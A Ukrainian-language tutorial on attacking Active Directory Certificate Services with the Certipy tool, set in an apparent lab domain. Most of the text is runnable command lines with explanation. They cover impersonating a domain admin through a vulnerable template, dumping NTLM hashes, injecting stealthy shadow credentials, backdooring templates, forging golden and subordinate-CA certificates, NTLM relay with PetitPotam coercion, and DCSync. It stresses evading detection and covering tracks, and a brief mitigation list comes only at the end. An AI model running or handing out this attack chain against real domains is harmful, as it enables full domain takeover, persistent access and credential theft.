У цьому посібнику з експлуатації Active Directory за допомогою Certipy ми дослідимо, як використовувати Certipy — інструментарій для наступу та захисту, розроблений для служб сертифікації Active Directory (AD CS). Ми навчимося перераховувати помилки конфігурації та зловживати шаблонами CA. Незалежно від того, чи цілитеся ви у вектори атак від ESC1 до ESC16, чи підробляєте сертифікати для підвищення привілеїв та закріплення в системі, ця стаття крок за кроком проведе вас через усі необхідні етапи — від ідентифікації вразливих шаблонів до отримання автентифікації в домені.

Зміст

• Огляд Certipy
• Ключові концепції AD CS
• Попередні вимоги (Prerequisites)
• Пошук вразливих шаблонів
• Аналіз привілеїв облікових записів
• Маніпуляція обліковими записами
• Запит сертифікатів (Requesting Certificates)
• Автентифікація за допомогою сертифіката
• Керування Shadow Credentials
• Модифікація шаблонів та Центру сертифікації (CA)
• Підробка та ретрансляція (Relaying) сертифікатів
• Методи захисту та пом’якшення наслідків (Mitigation)

Огляд Certipy

Certipy — це спеціалізований інструмент, розроблений для виявлення та експлуатації вразливостей у службах сертифікації Active Directory (AD CS). Хоча AD CS відіграє критичну роль у забезпеченні автентифікації на основі сертифікатів та шифрування в середовищах Windows, помилки конфігурації та занадто поблажливі шаблони можуть перетворити цю службу на вектор атаки з високим рівнем впливу.

Зловмисники та фахівці Red Team можуть використовувати Certipy для виявлення цих недоліків, підвищення привілеїв, імітації користувачів та отримання постійного доступу до домену, навіть не потребуючи пароля. Це досягається через різні відомі шляхи зловживань, які зазвичай класифікуються як ESC1–ESC16 і відповідають конкретним вразливостям у дизайні шаблонів, дозволах та моделях довіри Центру сертифікації (CA).

Ключові команди та техніки Certipy

Certipy підтримує кілька команд, кожна з яких відповідає певним шляхам атак на AD CS:

• find — перераховує конфігурацію AD CS для ідентифікації центрів сертифікації, шаблонів та потенційних вразливостей ESC для аудиту або підготовки до атаки.
• account — керує атрибутами облікових записів користувачів або комп’ютерів для сертифікатів, дозволяючи встановлювати SPN, UPN або створювати машинні облікові записи для складних атак.
• req — запитує сертифікат у CA, дозволяючи вказати шаблон та ім’я CA. Підтримує протоколи RPC, DCOM або HTTP(S); використовується для експлуатації шаблонів з метою імітації користувачів.
• auth — автентифікація за допомогою сертифіката (PFX) для доступу до домену через Kerberos PKINIT або Schannel до LDAP, що дозволяє отримати TGT та NTLM-хеш.
• shadow — виконує атаку Shadow Credentials для створення пов’язаних із сертифікатом облікових даних користувача, що дозволяє надалі автентифікуватися через сертифікат.
• template — керує об’єктами шаблонів сертифікатів в AD (дамп, модифікація та відновлення конфігурації), що критично для таких сценаріїв, як ESC4.
• ca — керує налаштуваннями CA: увімкнення/вимкнення шаблонів, схвалення/відхилення запитів та керування менеджерами CA.
• forge — створює підроблені сертифікати за допомогою скомпрометованого приватного ключа CA, що корисно для закріплення в системі після компрометації кореневого або підпорядкованого CA.
• relay — виконує атаку NTLM relay на HTTP(S) або RPC-ендпоінти AD CS для автоматичного отримання сертифіката від імені жертви (автоматизація атак ESC8 та ESC11).

Чому ці техніки працюють?

Ці методи покладаються не на експлуатацію вразливостей у коді (експлойти), а на зловживання довірою та слабкі політики безпеки:

• Центр сертифікації (CA) довіряє автентифікації, а не справжній особистості — якщо запит виглядає валідним з точки зору протоколу, CA видасть сертифікат зловмиснику, не перевіряючи, ким він є насправді.
• Помилки в конфігурації шаблонів — дозволяють клієнтську автентифікацію та контроль над полем SAN (Subject Alternative Name), що дає можливість імітувати будь-якого користувача (наприклад, адміністратора домену).
• Shadow credentials (тіньові облікові дані) — дозволяють непомітно ін’єктувати альтернативні облікові дані користувачу, обходячи паролі та багатофакторну автентифікацію (MFA).
• Автентифікація на основі сертифікатів обходить паролі — вона надає право на вхід у домен без необхідності знати чи зламувати пароль цільового користувача.
• Потужні ролі CA — «Офіцери сертифікації» (Certificate Officers) та адміністратори CA можуть видавати сертифікати будь-кому, що створює прямий ризик повного захоплення домену (Domain Takeover).

Ключові концепції AD CS

AD CS є наріжним каменем перевірки автентичності та безпечного зв’язку (наприклад, смарт-картки, TLS, доступ до VPN, шифрування електронної пошти), але водночас він є пріоритетною ціллю для зловмисників. Це пов’язано з тим, що AD CS глибоко інтегрований в Active Directory і має абсолютну довіру в усьому домені.

Чому AD CS є поверхнею атаки?

Помилки в конфігурації шаблонів сертифікатів або налаштуваннях CA можуть відкрити шлях для різних векторів атак:

• Шаблони сертифікатів (Certificate Templates): неправильно налаштовані шаблони можуть дозволити користувачам із низькими привілеями запитувати сертифікати від імені привілейових облікових записів (ESC1).
• Веб-реєстрація (Web Enrollment): відкриття інтерфейсу AD CS (/certsrv) через HTTP з увімкненим NTLM може бути використане для атак NTLM Relay (ESC8).
• Shadow Credentials: неналежна обробка атрибута msDS-KeyCredentialLink дозволяє використовувати техніки закріплення (persistence), які залишаються дієвими навіть після зміни пароля (ESC9/10).
• Сертифікати підвищення привілеїв (ESC): зловмисники можуть експлуатувати такі сценарії, як неправильно налаштовані поля SAN (ESC1), ретрансляція NTLM (ESC8) та “тіньові облікові дані” (ESC9/10) для повної компрометації домену.

Попередні вимоги (Prerequisites)

• Windows Server 2019 як контролер домену Active Directory з підтримкою PKINIT.
• Домен із налаштованими службами сертифікації (AD CS) та Центром сертифікації (CA), де увімкнено роль Web Enrollment.
• Kali Linux із попередньо встановленим набором інструментів.
• Інструменти: certipy-ad, PetitPotam.

Нам не потрібні вразливості нульового дня (zero-days), коли AD CS налаштовано некоректно. Один хибний шаблон сертифіката може призвести до повної компрометації домену, подібно до експлуатації RCE (дистанційного виконання коду), але з використанням легітимних протоколів та нативних інструментів.

Такі інструменти, як Certipy, дозволяють виявити ці приховані шляхи підвищення привілеїв та вразливості, що базуються на довірі в межах AD CS.

Тепер, коли ми маємо чітке уявлення про роботу служб сертифікації та вектори атак ESC, стає зрозуміло, чому неправильні налаштування довіри роблять AD CS головною ціллю для зловмисників.

Маючи це на увазі, перейдемо до практики та експлуатуємо ці вразливості за допомогою certipy-ad.

Пошук вразливих шаблонів

Почнемо з ідентифікації слабких місць. Вразливі шаблони часто дозволяють будь-якому автентифікованому користувачу автоматично реєструватися для отримання сертифікатів клієнтської автентифікації (client-auth).

certipy-ad find -u raj -p Password@1 -dc-ip 192.168.1.20 -target-ip 192.168.1.20 -vulnerable -enable -stdout

Ця команда сканує Центр сертифікації (CA) на наявність шаблонів сертифікатів із помилками конфігурації, які дозволяють підвищення привілеїв, наприклад, через зловживання типу ESC1.

Вразливі шаблони зазвичай мають такі характеристики, як Client Authentication EKU, параметр «Supply in Request» SAN, автоматична видача (Auto-issue) без підтвердження адміністратором, а також доступність для користувачів із низькими привілеями (наприклад, «sanjeet» у нашому випадку). Тепер давайте подивимося, що саме ми виявили під час перерахування.

Ця процедура перераховує Центри сертифікації (CA) та шаблони, ідентифікуючи конфігурації, що підтримують атаки типу ESC (наприклад, ESC6, ESC8).

Примітка: **Цей етап закладає фундамент для всього нашого ланцюжка атаки. Без вразливого шаблону більшість подальших експлуатацій були б неможливими..

Аналіз привілеїв облікових записів

Тепер оцінимо, що саме ми можемо контролювати. Якщо наш користувач (наприклад, raj) має можливість читати або змінювати чутливі атрибути іншого облікового запису (наприклад, sanjeet), ми потенційно можемо:

• Ін’єктувати «тіньові облікові дані» (shadow credentials) для подальшого використання.
• Скинути пароль користувача для підвищення привілеїв.
• Додати себе до привілейованих груп для повного контролю.

Щоб перевірити ці права, виконайте наступну команду:

certipy-ad account -u raj -p Password@1 -dc-ip 192.168.1.20 -target 192.168.1.20 -user sanjeet read

Перемикач read у Certipy дозволяє користувачу raj отримувати та переглядати атрибути облікового запису sanjeet, такі як cn, sAMAccountName та іншу конфіденційну інформацію. Ці дані можуть бути використані для подальшого підвищення привілеїв або розширення атаки.

Маніпуляція обліковими записами

Підтвердивши наявні привілеї, ми переходимо до дій. Ці команди демонструють, як зловмисники або адміністратори можуть маніпулювати обліковими записами:

Оновлення паролів

Ця команда дозволяє Адміністратору автентифікуватися та скинути пароль користувача sanjeet на Password@12 через вказаний контролер домену (192.168.1.20). Це забезпечує підвищення привілеїв або повний контроль над обліковим записом sanjeet для подальшої експлуатації.

certipy-ad account -u Administrator -p Password@1 -dc-ip 192. 168.1.20 -target 192.168.1.20 -user sanjeet -pass Password@12 update

Після підвищення привілеїв (наприклад, через ESC1) ми можемо скидати паролі для будь-якого користувача домену, включаючи адміністраторів. Це дає змогу миттєво захоплювати облікові записи, контролювати декілька акаунтів одночасно та здійснювати стратегічне горизонтальне переміщення (lateral movement) мережею.

Створення облікових записів (наприклад, машинних акаунтів для експлуатації ESC8)

Ця команда дозволяє raj створити новий машинний обліковий запис BADPC із паролем Password@2 на контролері домену за адресою 192.168.1.20. Облікові записи комп’ютерів можна використовувати для атак NTLM relay (ESC8) або для закріплення в системі (persistence), що сприяє подальшому підвищенню привілеїв та збереженню доступу.

certipy-ad account -u raj -p Password@1 -dc-ip 192.168.1.20 -target 192.168.1.20 -user BADPC -pass Password@2 create

Облікові записи комп’ютерів, які зазвичай мають право на реєстрацію в шаблонах доменних комп’ютерів, можуть бути використані нами для зловживання ESC8 за допомогою NTLM-ретрансляції (relay), запиту сертифікатів через машинні шаблони або переходу до DCSync у разі отримання доступу до шаблонів контролерів домену.

Видалення облікових записів

Ця команда видаляє машинний обліковий запис BADPC після використання.

certipy-ad account -u Administrator -p Password@1 -dc-ip 192.168.1.20 -target 192.168.1.20 -user BADPC delete

Це корисно для замітання слідів після використання акаунта для ретрансляції NTLM-автентифікації (ESC8), створення тіньових облікових даних (shadowing) для машини або отримання сертифіката через автореєстрацію.

Запит сертифікатів (Requesting Certificates)

Далі ми експлуатуємо вразливий шаблон сертифіката, який виявили раніше під час етапу перерахування. На цьому кроці ми запитуємо сертифікат від імені адміністратора домену, вбудовуючи його UPN (User Principal Name) та SID. Через слабкий контроль шаблонів Центр сертифікації (CA) підписує сертифікат без додаткової перевірки.

certipy-ad req -u raj -p Password@1 -dc-ip 192.168.1.20 -target 192.168.1.20 -ca ignite-DC01-CA -template ESC1 -upn 'administrator@ignite. local' -sid 'S-1-5-21-2876727035-1185539019-1507907093-500

У разі успіху ми отримуємо легітимний сертифікат, що дозволяє нам імітувати привілейовану особу (impersonation).

Автентифікація за допомогою сертифіката

Маючи виданий сертифікат у форматі .pfx, який дозволяє імітувати адміністратора домену, ми використовуємо Kerberos PKINIT для автентифікації на основі сертифіката, обходячи пароль адміністратора. Оскільки сертифікат підписаний довіреним Центром сертифікації (CA) і містить ідентифікаційні дані адміністратора, контролер домену приймає його як легітимний. Це надає нам повний адміністративний доступ і стає ключовим моментом у процесі підвищення привілеїв.

certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.1.20

Це дамп NTLM-хешу, який ви можете використовувати для подальшої експлуатації.

У нашому випадку ми використовуємо цю команду, щоб показати, як за допомогою відомого NTLM-хешу (наприклад, користувача raj) можна автентифікуватися в AD та перевірити привілеї щодо облікового запису Administrator. Це потенційно може виявити можливість модифікації властивостей акаунта, ін’єкції тіньових облікових даних (ESC10) або скидання паролів. Така техніка є ключовою, коли хеші паролів доступніші за облікові дані у відкритому вигляді.

certipy-ad account -u raj -hashes 64fbae31cc352fc26af97cbdef151e03 -dc-ip 192.168.1.20 -user ‘administrator’ read

Керування Shadow Credentials (Тіньовими обліковими даними)

Досягнувши підвищеного рівня доступу за допомогою зловживання сертифікатами (наприклад, ESC1), ми переносимо фокус із підвищення привілеїв на закріплення в системі (persistence). Тіньові облікові дані дозволяють нам ін’єктувати альтернативні дані для входу в обліковий запис іншого користувача, не змінюючи його пароль і не активуючи типові механізми виявлення.

Ці облікові дані зберігаються в атрибуті msDS-KeyCredentialLink і використовуються під час входу через Kerberos PKINIT. Вони є довговічними, прихованими та надзвичайно ефективними для підтримки довгострокового доступу.

Далі ми зміцнюємо наші позиції, додаючи тіньові облікові дані користувачу (у нашому випадку — shivam) шляхом маніпуляції його атрибутом msDS-KeyCredentialLink. Це дозволяє нам входити в систему як shivam, не знаючи його справжнього пароля. Тіньові облікові дані зберігаються навіть після скидання пароля, забезпечуючи прихований метод довгострокового закріплення.

Примітка: Ця техніка (ESC9/10) є дуже потаємною, обходить більшість традиційних засобів виявлення та залишається активною навіть після зміни пароля, якщо її не видалити навмисно.

Додавання Shadow Credential (Тіньових облікових даних)

certipy-ad shadow -u raj -p Password@1 -dc-ip 192.168.1.20 -account shivam add

Це дозволяє ін’єктувати нові облікові дані на основі сертифіката в атрибут msDS-KeyCredentialLink користувача shivam. Після додавання цей ключ дозволяє виконувати безпарольну автентифікацію від імені shivam, використовуючи методи входу на основі сертифікатів.

Примітка: Це є центральним елементом зловживання ESC10, де ін’єкція ключа сертифіката в обліковий запис іншого користувача усуває потребу в крадіжці або скиданні пароля. Тіньові облікові дані зберігаються навіть після зміни пароля та дозволяють уникати стандартних інструментів моніторингу, якщо цей атрибут не перевіряється спеціально.

Перегляд існуючих Shadow Credentials

Ця команда виводить список усіх ідентифікаторів пристроїв (Device IDs), пов’язаних із тіньовими обліковими даними, які наразі закріплені за користувачем shivam.

certipy-ad shadow -u raj -p Password@1 -dc-ip 192.168.1.20 -account shivam list

Примітка: Це важливо як для атакуючих (які можуть перевіряти наявність попереднього доступу або уникати дублювання), так і для захисників, які можуть перераховувати методи закріплення, додані після компрометації. Це відповідає реальним потребам форензики в операціях Red Team та Blue Team.

Перегляд конкретного Shadow Credential

Ця команда відображає детальні метадані про конкретні тіньові облікові дані, пов’язані з shivam, включаючи ідентифікатор пристрою (Device ID), видавця та час їх додавання.

certipy-ad shadow -u raj -p Password@1 -dc-ip 192.168.1.20 -account shivam -device-id 528c42e7-1395-e86c-4b06-fffd9758fe6b info

Примітка: Це дозволяє дізнатися, чи були облікові дані ін’єктовані нещодавно, який метод використовувався та хто був ініціатором. Така інформація є критично важливою для розуміння паттернів доступу та побудови форензик-таймлайну під час реагування на інциденти.

Видалення Shadow Credential

Ця команда видаляє вказані тіньові облікові дані з облікового запису shivam. Вона також дозволяє перевірити стан залишку інших специфічних тіньових облікових даних, пов’язаних із цим користувачем.

certipy-ad shadow -u raj -p Password@1 -dc-ip 192.168.1.20 -account shivam -device-id 528c42e7-1395-e86c-4b06-fffd9758fe6b clear
certipy-ad shadow -u raj -p Password@1 -dc-ip 192.168.1.20 -account shivam -device-id 528c42e7-1395-e86c-4b06-fffd9758fe6b info

Примітка: Тіньові облікові дані (shadow credentials) використовуються для очищення після експлуатації, оскільки вони дозволяють обходити скидання паролів або відкликання MFA. Це робить їх видалення єдиним способом анулювати доступ і підкреслює необхідність для захисників вміти їх виявляти.

Тепер виконується перевірка наявності будь-яких ідентифікаторів пристроїв (Device IDs), пов’язаних із тіньовими обліковими даними, які наразі закріплені за shivam. Якщо такі будуть знайдені, їх буде видалено за допомогою команди, наведеної нижче.

certipy-ad shadow -u raj -p Password@1 -dc-ip 192.168.1.20 -account shivam list
certipy-ad shadow -u raj -p Password@1 -dc-ip 192.168.1.20 -account shivam -device-id d867fd89-9bf7-6831-fc13-adf40d60b014 remove

Це підтверджує видалення вказаних тіньових облікових даних з облікового запису shivam.

Автоматизація: Додавання → Використання → Видалення (Спритний доступ)

Ця команда виконує весь ланцюжок прихованого доступу однією дією: додає тіньові облікові дані, автентифікується за їх допомогою, а потім негайно їх видаляє.

certipy-ad shadow -u raj -p Password@1 -dc-ip 192.168.1.20 -account shivam auto

Примітка: Це ідеальний інструмент для прихованих операцій Red Team або зловмисників; він не залишає логів зміни паролів чи записів про сертифікати, що робить виявлення надзвичайно складним без спеціальних перевірок атрибута msDS-KeyCredentialLink.

Модифікація шаблонів та Центру сертифікації (CA)

Після отримання доступу на основі сертифікатів ми беремо під контроль Центр сертифікації (CA): відновлюємо вразливі шаблони, додаємо себе як офіцерів сертифікації (Certificate Officers) та маніпулюємо шаблонами, як у випадку з ESC4. Завдяки повному контролю та резервним копіям CA ми не просто експлуатуємо систему — ми створюємо та автоматизуємо постійну поверхню атаки.

Резервне копіювання конфігурації шаблону

Ця команда зберігає поточну конфігурацію шаблону ESC4 у локальний JSON-файл.

certipy-ad template -u raj -p Password@1 -dc-ip 192.168.1.20 -template ESC4 -save-configuration backup.json

Це дозволяє нам зафіксувати стан шаблону для подальшого безпечного відновлення або для підготовки до його зловмисної модифікації.

Перезапис конфігурацією за замовчуванням

Ця команда замінює налаштування шаблону ESC4 на конфігурацію за замовчуванням.

certipy-ad template -u raj -p Password@1 -dc-ip 192.168.1.20 -template ESC4 -write-default-configuration

Це корисно для послаблення захищених шаблонів, повторного впровадження вразливостей (наприклад, “enrollee-supplied SAN”) або їх скидання для надання зловмиснику можливості випуску сертифікатів (наприклад, зловживання у стилі ESC4).

Давайте швидко оглянемо шаблон Центру сертифікації (CA) і те, як неправильні налаштування, подібні до тих, що зустрічаються в ESC1 та ESC4, можуть створювати вразливості:

Застосування зміненого або бекдорованого шаблону

Ця команда перезаписує налаштування шаблону, використовуючи раніше збережений JSON-файл. Прапор -no-save гарантує, що перезапис відбудеться без створення нової резервної копії поточної версії.

certipy-ad template -u raj -p Password@1 -dc-ip 192.168.1.20 -template ESC4 -write-configuration backup.json -no-save

Примітка: Це дозволяє повторно застосувати відомі вразливі налаштування до шаблону, що відкриває шлях для майбутніх атак на основі сертифікатів (наприклад, ESC1, ESC4) без необхідності в облікових даних адміністратора CA..

Перерахування доступних шаблонів Центру сертифікації (CA)

Ця команда виводить список усіх шаблонів, які наразі опубліковані Центром сертифікації.

certipy-ad ca -u sanjeet -p Password@12 -dc-ip 192.168.1.20 -target 192.168.1.20 -list-template -ca ignite-DC01-CA

Це допомагає нам визначити, чи є ці цільові шаблони (наприклад, ESC1, ESC4) наразі активними, і чи доступні додаткові вразливі шаблони для зловживання.

Вимкнення шаблону

Ця команда дозволяє вилучити шаблон ESC1 зі списку опублікованих шаблонів Центру сертифікації (CA).

certipy-ad ca -u sanjeet -p Password@12 -dc-ip 192.168.1.20 -target 192.168.1.20 -disable ESC1 -ca ignite-DC01-CA

Примітка: Команди Blue Team можуть використовувати це для усунення вразливостей, тоді як Red Team можуть робити це для дезорієнтації систем виявлення, тимчасово розриваючи ланцюжок атаки до моменту, коли вони будуть готові використати його знову (як у нашому випадку).

Давайте швидко перевіримо, чи був вимкнений шаблон, запустивши команду:

certipy-ad ca -u sanjeet -p Password@12 -dc-ip 192.168.1.20 -target 192.168.1.20 -list-templates -ca ignite-DC01-CA

Тут ми бачимо, що ESC1 відсутній у списку активованих шаблонів на Центрі сертифікації (CA).

Повторна активація шаблону

Ця команда знову активує раніше вимкнений шаблон ESC1.

certipy-ad ca -u sanjeet -p Password@12 -dc-ip 192.168.1.20 -target 192.168.1.20 -enable ESC1 -ca ignite-DC01-CA

Як зазначалося, це дозволяє нам перезапустити ланцюжок атак на сертифікати. Це особливо корисно, якщо атаку було перервано захисниками, а також для повторних атак (replay attacks) Red Team або довгострокового закріплення в системі.

Повне резервне копіювання CA

Ця команда створює повну резервну копію конфігурації Центру сертифікації (CA), включаючи всі шаблони, дозволи та налаштування.

certipy-ad ca -backup -u sanjeet -p Password@12 -dc-ip 192.168.1.20 -target 192.168.1.20 -ca ignite-DC01-CA

Це забезпечує повну видимість операцій Центру сертифікації (CA), дозволяючи приймати рішення щодо модифікації, ексфільтрації або заміни станів CA для підробки шаблонів, створення «золотих сертифікатів» (Golden Certificates) або проведення атак з відкатом конфігурації (rollback).

Ця фаза атаки означає компрометацію інфраструктури. На цьому етапі ми переходимо від використання окремих помилок до прямого керування тим, як домен розподіляє цифрову довіру.

Примітка: Це перетворює зловживання AD CS з одноразового зламу на довгострокову, приховану стратегію закріплення в домені (persistence).**.

Підробка та ретрансляція сертифікатів

Маючи доступ до закритого ключа Центру сертифікації (CA), ми можемо підробити сертифікат, видаючи себе за адміністратора домену, або запросити сертифікат підлеглого ЦС (SubCA) через вразливі шаблони, власноруч його схваливши. Ми також підвищуємо свої привілеї, додаючи себе до списку офіцерів сертифікації (Certificate Officers). Це дозволяє нам випускати, схвалювати та проходити автентифікацію від імені будь-якого користувача, перетворюючи ланцюжок довіри домену на наш власний ігровий майданчик.

Створення «Золотого» сертифіката адміністратора (Forge a Golden Certificate)

Ця команда підробляє сертифікат для адміністратора, використовуючи закритий ключ ЦС. Це дозволяє повністю обійти будь-які обмеження шаблонів або політики контролю.

certipy-ad forge -ca-pfx ignite-DC01-CA.pfx -upn administrator@ignite.local

Це дозволяє нам автентифікуватися як адміністратор у будь-який час на постійній основі, навіть якщо всі інші методи закріплення будуть видалені.

Запит сертифіката підлеглого ЦС (SubCA)

Ця команда використовує вразливий шаблон, який дозволяє видачу сертифікатів SubCA, що ще глибше вкорінює нас у ланцюжку довіри PKI домену.

certipy-ad req -u raj -p Password@1 -ca ignite-DC01-CA -target 192.168.1.20 -template SubCA -upn administrator@ignite.local -dc-ip 192.168.1.20

Це дає нам можливість функціонувати як підлеглий Центр сертифікації, самостійно випускаючи дійсні сертифікати для будь-якої особи в майбутньому, незалежно від головного сервера.

Approve the SubCA RequestСхвалення запиту SubCA

Ця команда намагається схвалити запит на сертифікат з ID 24 для реєстрації SubCA. Якщо користувач не є офіцером сертифікації (Certificate Officer), ЦС відхилить дію з помилкою «Access Denied».

certipy-ad ca -u raj -p Password@1 -ca ignite-DC01-CA -target 192.168.1.20 -issue-request 26 -dc-ip 192.168.1.20

Це демонструє поширену перешкоду в ескалації через SubCA: хоча користувачі можуть успішно надіслати запит, система суворо перевіряє права на схвалення, запобігаючи несанкціонованій видачі сертифікатів.

Додавання користувача як офіцера сертифікації (Certificate Officer)

Ця команда надає нам повноваження керувати запитами ЦС, шаблонами та схваленнями.

certipy-ad ca -ca ignite-DC01-CA -u raj -p Password@1 -dc-ip 192.168.1.20 -add-officer raj

Це дозволяє у майбутньому створювати підлеглі ЦС (SubCA), схвалювати сертифікати та посилювати контроль над інфраструктурою, залишаючись непоміченими.

Потім ми повторно намагаємося схвалити запит, видаючи відкладений сертифікат SubCA, використовуючи можливості схвалення скомпрометованого офіцера ЦС або контролера шаблонів.

certipy-ad ca -u raj -p Password@1 -ca ignite-DC01-CA -target 192.168.1.20 -issue-request 26 -dc-ip 192.168.1.20

Це підтверджує, що наші випущені SubCA є дійсними, що дозволяє створювати стійкі бекдори на рівні Центру сертифікації (CA-level backdoors).

Отримання сертифіката SubCA

Ця команда завантажує сертифікат, пов’язаний із запитом ID 24, який раніше був виданий ЦС на основі шаблону SubCA. Після отримання цей сертифікат функціонує як підлеглий Центр сертифікації, що дозволяє власнику підписувати та випускати власні сертифікати.

certipy-ad req -u raj -p Password@1 -ca ignite-DC01-CA -target 192.168.1.20 -template SubCA -retrieve 26 -dc-ip 192.168.1.20

Цей крок завершує шлях ескалації через SubCA. Маючи цей сертифікат, ми можемо створювати дійсні сертифікати для будь-якої особи (наприклад, Administrator, Domain Controller), фактично стаючи підконтрольним зловмиснику Центром сертифікації всередині середовища.

Примітка: Це “золотий стандарт” закріплення. Тепер ви можете випускати сертифікати локально, не взаємодіючи з основним сервером ЦС для кожного нового запиту, що робить вашу активність майже непомітною для мережевих засобів моніторингу.

Автентифікація за допомогою сертифіката адміністратора

Ця команда використовує файл .pfx для автентифікації в Active Directory через протоколи Kerberos або Schannel. Це дозволяє обійти вхід за паролем, оскільки сертифікат приймається системою як довірений метод перевірки особи.

certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.1.20

Це дозволяє входити в систему як Domain Administrator, використовуючи або підроблений сертифікат (через закритий ключ ЦС), або сертифікат, випущений підконтрольним зловмиснику SubCA. Ви отримуєте повний контроль над доменом без необхідності викрадати облікові дані або зламувати паролі.

Коли ключі ЦС (CA keys) недоступні, цей шлях використовує примусову мережеву автентифікацію (network coercion) та атаки ретрансляції (relay attacks). Це дозволяє досягти еквівалентних результатів — автентифікуватися як контролер домену, не торкаючись паролів чи облікових даних безпосередньо.

Ретрансляція автентифікації на ЦС (CA)

Ця команда налаштовує сервер-ретранслятор, ціллю якого є веб-інтерфейс реєстрації ЦС (Web Enrollment). Використовується шаблон, який автоматично видає сертифікати для комп’ютерів.

certipy-ad relay -target 192.168.1.17 -template DomainController

Це готує систему до отримання примусового NTLM-з’єднання від контролера домену, щоб використати його для запиту сертифіката.

Примусова автентифікація контролера домену за допомогою PetitPotam

Ця команда змушує контролер домену автентифікуватися на нашому (зловмисника) сервері-ретрансляторі через протокол MS-EFSRPC або аналогічні методи примусу.

python PetitPotam.py -u raj -p Password@1 192.168.1.12 192.168.1.14

Це ініціює примусову NTLM-автентифікацію від імені DC, яку можна перехопити та ретранслювати на Центр сертифікації (CA) для зловживання сертифікатами.

Альтернативна ретрансляція за допомогою Certipy

Ця команда гарантує, що сервер-ретранслятор залишається активним, або повторює спробу для успішного завершення запиту на отримання сертифіката.

certipy-ad relay -target 192.168.1.17 -template DomainController

Це корисно в середовищах з нестабільним з’єднанням або у випадках, коли перша спроба примусової автентифікації (coercion) зазнала невдачі.

Автентифікація від імені контролера домену

Ця команда використовує виданий сертифікат контролера домену (DC) для автентифікації через протокол PKINIT та ініціює LDAP-сесію від імені контролера домену.

certipy-ad auth -pfx dc1.pfx -dc-ip 192.168.1.14 -ldap-shell

Це надає повні привілеї реплікації через DCSync, що дозволяє витягувати хеші паролів будь-якого користувача, включаючи адміністраторів підприємства (Enterprise Admins).

Заходи захисту (Mitigation)

• Зміцнення та аудит шаблонів сертифікатів: Регулярно перевіряйте шаблони на наявність вразливих конфігурацій (наприклад, ESC1–ESC8). Видаляйте прапорець CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT там, де це можливо.
• Контроль прав запису в AD: Обмежте права на «Реєстрацію» (Enroll), керування тіньовими обліковими даними (Shadow Credentials) та створення нових облікових записів лише для необхідного персоналу.
• Аудит видачі сертифікатів та змін у ЦС: Налаштуйте моніторинг специфічних подій у журналах: (4886,4887,4898)
• Вимкнення Web Enrollment та NTLM: Якщо це можливо, вимкніть службу веб-реєстрації або принаймні вимкніть автентифікацію NTLM на серверах AD CS, щоб запобігти атакам ретрансляції (Relay).